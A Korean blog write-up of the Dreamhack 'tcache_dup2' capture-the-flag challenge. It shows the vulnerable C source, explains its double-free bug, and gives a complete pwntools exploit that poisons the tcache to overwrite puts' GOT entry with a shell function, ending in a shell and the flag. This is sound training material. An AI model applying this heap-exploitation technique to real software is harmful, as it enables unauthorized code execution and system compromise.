본문 바로가기
Security/System Hacking

[Dreamhack System Hacking] STAGE 12 - tcache_dup2

by 단월໒꒱ 2022. 4. 5.

[혼자실습] tcache_dup2

 

 

 

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
	size_t size;

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	ptr[idx] = malloc(size);

	if(!ptr[idx])
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size-1);

}

void modify_heap() {
	size_t size, idx;

	printf("idx: ");
	scanf("%ld", &idx);

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	if( size > 0x10 ) 
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size);
}

void delete_heap() {
	size_t idx;

	printf("idx: ");
	scanf("%ld", &idx);
	if( idx >= 7 ) 
		exit(0);

	if( !ptr[idx] ) 
		exit(0);

	free(ptr[idx]);
}

void get_shell() {
	system("/bin/sh");
}
int main() {
	int idx;
	int i = 0;

	initialize();

	while(1) {
		printf("1. Create heap\n");
		printf("2. Modify heap\n");
		printf("3. Delete heap\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				create_heap(i);
				i++;
				break;
			case 2:
				modify_heap();
				break;
			case 3:
				delete_heap();
				break;
			default:
				break;
		}
	}
}

 

 

C코드를 먼저 살펴보았다.

 

delete_heap 함수 부분을 보면, ptr[idx]을 해제하고 ptr 포인터를 초기화하지 않았으므로 DFB 취약점이 존재한다.

이처럼 ptr 포인터를 초기화하지 않았기 때문에 modify_heap 함수를 이용하면 해제된 청크의 데이터를 조작할 수 있을 것으로 보인다.

 

checksec으로 적용된 보호 기법을 확인해보았다.

 

 

 

 

카나리가 존재하고, NX와 Partial RELRO 보호 기법이 적용되어 있다.

 

강의 내용 안에서 사용했던 코드를 현재 c코드에 맞게 약간 수정하여 사용했다.

하지만 실행시키면 계속 무한루프에 빠져서 도움을 구하니, 함수를 통해 p64함수를 이용하여 데이터를 전송하는 과정에서 전송한 데이터와 다른 데이터가 찍히는 문제가 있었다고 한다.

따라서, 그 부분을 수동으로 바꿔주면 괜찮다고 한다.

 

위의 과정을 통해 완성한 익스플로잇 코드는 아래와 같다.

 

 

from pwn import *

p = remote("host1.dreamhack.games", 20751)
elf = ELF("./tcache_dup2")

def create(size, data):
   p.sendlineafter(">", "1")
   p.sendlineafter("Size:", str(size))
   p.sendlineafter("Data:", str(data))

def modify(idx, size, data):
   p.sendlineafter(">", "2")
   p.sendlineafter("idx:", str(idx))
   p.sendlineafter("Size:", str(size))
   p.sendafter("Data:", str(data))

def delete(idx):
   p.sendlineafter(">", "3")
   p.sendlineafter("idx:", str(idx))


get_shell = elf.symbols["get_shell"]
puts_got = elf.got["puts"]

create(0x10, "A"*0x10)
create(0x10, "A"*0x10)

delete(0)
delete(1)

modify(1, 0x10, "A"*0x10 + "\x00")
delete(1)

p.sendlineafter(">", "1")
p.sendlineafter("Size:", "16")
p.sendlineafter("Data:", p64(puts_got))

create(0x10, "A"*0x10)

p.sendlineafter(">", "1")
p.sendlineafter("Size:", "16")
p.sendlineafter("Data:", p64(get_shell))


p.interactive()

 

 

작성한 익스플로잇 코드를 실행시키니

 

 

 

 

무사히 셸 획득에 성공하여 ls로 파일을 확인한 뒤 cat으로 flag의 내용을 확인할 수 있었다.

 

 

 

댓글